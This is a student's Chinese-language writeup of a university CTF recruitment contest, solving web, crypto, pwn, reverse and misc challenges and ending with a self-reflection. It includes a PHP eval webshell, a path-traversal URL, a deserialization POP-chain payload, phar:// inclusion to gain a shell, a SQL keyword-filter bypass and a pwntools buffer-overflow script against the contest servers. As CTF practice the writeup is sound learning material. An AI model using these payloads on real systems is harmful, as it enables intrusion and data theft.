NEUQCSA Summer Camp Closing Competition Writeup

发布于 2022-08-27  263 次阅读


neuqcsa recruitment competition

本人第一次打CTF比赛(虽然是校赛),心情还是很激动的,特此记录第一篇真正意义上的题解报告。

一、TIme can be over.....or not?

<?php
highlight_file(__FILE__);
include "fl4g.php";
$NEUQCSA = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $NEUQCSA;
?>

先关注这个if函数,正常来说这三个条件均不满足现实条件,因此要从后面入手

第十八行处的$fl4g .= $NEUQCSA;对POST传入的ctf变量进行拼接,显然传入的不一定非要是字符串

只要POST传入一个数组即可发生错误,运行set_error_handler函数,从而打印出flag

二、我们ikun不惹事,也撅不怕事!

进入后在网页注释中寻找源码<!-- can can source.php -->

在checkFile(&$page) 部分,会创建一个内容为 ('!','@','$','%','^','&','*','(',')','-') 的数组,并且随机选择一个作为$ext

白名单中可以发现提示hint.php,flag在flag.php中

接着观察源码,之后的操作会对传入的参数进行切割,从开头截取到$ext第一次出现的位置,并且判断截取后的内容是否在白名单内(source/hint)

因此,我们需要先传入source.php!,保证切割后的内容在白名单内(!可以换成数组内的任意一个符号,同时这个请求需要重复多次执行,即便payload正确也只有1/10的概率返回flag(还好不是0.6%)(最好加个保底,累计到多少次一定返回flag))

再传入我们要获取的flag,但source.php!/flag返回值为空,多次向上查找得到flag

81.70.101.23:8801/source.php?file=source.php!../../../../../flag

三、drawkcab

看似不难,实际上做的时候快气炸了(物理)

查看源码可以发现只要传入两个参数即可得到flag,但这两个参数并不是所看到的1919810或NEUQCSA。

将源代码复制到VSCode中,发现存在许多特殊的Unicode字符,例如:

U+202E(Right-To-Left Override)

U+2066(Left-To-Right Isolate)

U+2069(Pop Directional Isolate)

将这些特殊的Unicode进行url编码后再传入即可

81.70.101.23:8802/?ahahahaha=nishiyigeyigeyige&%E2%80%AE%E2%81%A614%E2%81%A9%E2%81%A61919810=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6NEUQCSA

四、ezupload revenge

Bp拦包改Content-type,上传一句话木马

<?php @eval($_POST['a']);?>

五、e=2

低加密指数分解攻击

因为e=2就相当于把明文平方,直接把密文c开平方求解即可

import gmpy2,libnum
c = 18535188524494480009433469541385125985144336116901989382615805398860698607369
print(libnum.n2s(int(gmpy2.isqrt(c))))

六、Tea

进IDA就看到flag了

七、ezpop

反序列化

<?php
class NEUQ {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class CSA{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$s=new CSA();
$s->str=new Test();
$s->str->p=new NEUQ();
$ss=new CSA();
$ss->source=$s;
print_r(urlencode(serialize($ss)));

得到

O:3:"CSA":2:{s:6:"source";O:3:"CSA":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"NEUQ":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

http://124.222.182.202:30003/?pop=O%3A3%3A%22CSA%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22CSA%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22NEUQ%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

八、明文攻击

建议改为e=3

直接开三次根号即可

import gmpy2
import binascii
import libnum
import time
from Crypto.Util.number import long_to_bytes
      
for k in range(200000000):    
    if gmpy2.iroot(11916677858919827441524094185240995390266460247612494981089429975574543125177900310761849186344402623243225429808587695231875738575194213+25522601472797106149682080470029871456802323742863158258995590460119159807781137660082809193900601393021082620637129254925782401151619237134481310893024900309641591186035570355442931792359009308489374306825581572866013008174665086793878808051270131718266997861618123471016094058538800078177160487719043979148944171561411835601469377018470447548710842912568988854330589787570037529857808466877035432116353768532884684168396257349852347923083276649167316001454640740503263209917730748118754928400058930283064313972912839228634953623363643634968478602654409012852170362744919213402624712662956460554858220556067747594157*k,3)[1]==1:    
        res=gmpy2.iroot(11916677858919827441524094185240995390266460247612494981089429975574543125177900310761849186344402623243225429808587695231875738575194213+25522601472797106149682080470029871456802323742863158258995590460119159807781137660082809193900601393021082620637129254925782401151619237134481310893024900309641591186035570355442931792359009308489374306825581572866013008174665086793878808051270131718266997861618123471016094058538800078177160487719043979148944171561411835601469377018470447548710842912568988854330589787570037529857808466877035432116353768532884684168396257349852347923083276649167316001454640740503263209917730748118754928400058930283064313972912839228634953623363643634968478602654409012852170362744919213402624712662956460554858220556067747594157*k,3)[0]    
        print(k,res) 
        print(long_to_bytes(res))   
        break  

九、XOR

把m替换为提示内容即可

key = 'CSA'
m = '%', '?', ' ', '$', '(', '\x19', 's', '!', '\x1e', '*', ' ', '\x1e', '&', '2', 's', ':', '.'
l1 = len(m)
l2 = len(key)
key = l1//l2*key + key[:l1%l2]
n = []
for i in range(len(key)):
    n.append(chr(ord(m[i])^ord(key[i])))
n = ''.join(n)
print(n)

十、Maze

《别只顾着低头逆向,仔细想想awsd是啥。》

扔进IDA反编译,发现需要输入awsd操作v5和v4的值,并且v5,v4的值初始为0,不能大于15或小于0,据此,可以绘制一个16x16的网格,通过输入awsd不断尝试路径,最后绘制成一张地图

黄色位置为入口,浅蓝色位置为出口,红色区块为墙壁,绿色/深蓝色为可行走路径,其中深蓝色代表最终结果。将输入的字符32位md5后得到flag

十一、RSA


from Crypto.Util.number import *
from gmpy2 import *
e = 0x10001
#省略:c n1 c1 hinta hintb n2 c2 hintc hintd (这几个数能凑好几篇了)
hinta = (hinta * pow(2025,114514,n1))%n1
hintb = (pow(hintb-1919810,114514,n1)*pow(2022,114514,n1))%n1
q1 = gmpy2.gcd(hintb-hinta,n1)
print(q1)
p1 = n1 // q1
d1 = gmpy2.invert(e,(p1-1)*(q1-1))
p = pow(c1,d1,n1)
#重复一次
hintc = pow(hintc * pow(2025,114514,n2),1919810,n2)
hintd = pow(hintd * pow(2022,1919810,n2),114514,n2)
q2 = gmpy2.gcd(hintd-hintc,n2)
print(q2)
p2 = n2 // q2
d2 = gmpy2.invert(e,(p2-1)*(q2-1))
q = pow(c2,d2,n2)
n = p * q
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))

推导过程 [GKCTF 2021]RRRRsa (csdn.net)

十二、checkin_sql

preg_replace("/select/","",$_GET["sql"]);会对传入的sql命令过滤,双写关键字绕过即可(selselectect)

传入命令之后会在字符串尾添加molemole,不是我们想要的,需要在传入命令的末尾添加#注释掉后面的molemole,url编码后为%23

首先传入show tables%23查看表,回显{ ["Tables_in_web"]=> string(5) "users" },再传入selselectect * from users%23查看具体内容,得到flag

十三、ret2backdoor

根据课程学习内容照葫芦画葫芦即可

找到backdoor()地址0x00401207,填充直到溢出

from pwn import *
context.log_level='debug'
p = remote("39.105.97.11",9197)
payload=24*b'a'+p64(0x00401207)
p.sendafter(b'where is the backdoor?',payload)           
p.interactive()     

十四、ezupload

文件上传,先尝试改报头,绕过,无果

发现上传文件的地址为81.70.101.23:8804/index.php?b1ub1u=upload,并且可以传入81.70.101.23:8804/index.php?b1ub1u=index重复输出index.php的内容

推测含有include,使用伪协议查看源码,81.70.101.23:8804/index.php?b1ub1u=php://filter/read=convert.base64-encode/resource=index.php

提示STOP!~Hacker Wont GET Bingdundun FreeDom!But I can tell you this is a upload+include ezproblem!

由于可以上传的文件包括压缩包和图片,将木马封装到压缩包内提交,使用phar伪协议执行代码

由b1ub1u=index/upload可知,无需添加.php后缀,构造payload:

1、提交压缩包,得到地址

2、利用phar://来执行这段代码81.70.101.23:8804/index.php?b1ub1u=phar://a98248f7b1dcb2a6782427123c13c8b4.zip/2

3、连接蚁剑,得到shell,找到flag

十五、UPX(未解)

exeinfope查壳

UPX脱壳,进IDA分析

找到算法以及相关数据,编写脚本

c="()4687$v m4'fl{t`fngrv#xh&etc$0br5pyqderg<"
key="NEUQCSA"
output=""
for i in range(42):
    a = chr(ord(c[i]) ^ ord(key[i % 7]))
    output += a
print(output)

十六、尽情爆破(未解)

发现压缩包中有未加密图片和加密压缩包,加密压缩包中的图片与未加密图片CRC32值相同,推测明文攻击。开始时尝试将未加密图片提取出来单独压缩后作为明文进行攻击,无果

后直接用1.zip(有flag.zip)作为明文,成功获得压缩包密码

后记

暴露出很多问题

最严重的是PWN相关题目

因为自己有C基础,所以听PWN课的时候漫不经心,导致后续做PWN题的时候汇编那里一点也看不懂,重新看一遍课程之后才答上一道PWN

MISC的尽情爆破在已经知道是明文攻击的情况下也答不出来,无论是用ARCHPR还是pkcrack都显示错误,甚至更换多款压缩软件(Winrar,2345HaoZip,7-zip…)都没办法。做到这的时候心态差到不行,浪费了许多时间。(现在我也不知道到底因为哪里不对才做不出来)

Forensic内存取证是首次接触,用volatility分析到一半就不会解了

Crypto的后几道题不明白,仅知道babyRSA那里需要Coppersmith方法利用已知明文高位/地位进行攻击,对RSA算法的理解不够深刻(关键还是相关数学知识的匮乏)

Reverse中的UPX在脱壳后也无从下手,关键还是汇编压根看不明白,都是上PWN课时欠下的债。

WEB题目相对简单,但ezpythonezjava依旧不会,前者根据源码能推测出要篡改cookie来达到登录为admin的效果,后者则是根本看不懂。

想成为技术牛人,千万不要成为虚名牢笼的奴隶

这句话是本人的座右铭,有时候觉得自己学的越多越显得自己无知。

作为招新赛,能获得这样的成绩还是很高兴的,但相对的,这次比赛也暴露出很多学习上的问题。PWN仅解一题就足以说明当时有C基础的我学习PWN课程时是多么自满。

骄傲和自满作为正常情绪,肯定会在他人夸赞时不经意流露出来

要时刻记住,人外有人,天外有天

就保持这样的心态学习吧。


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界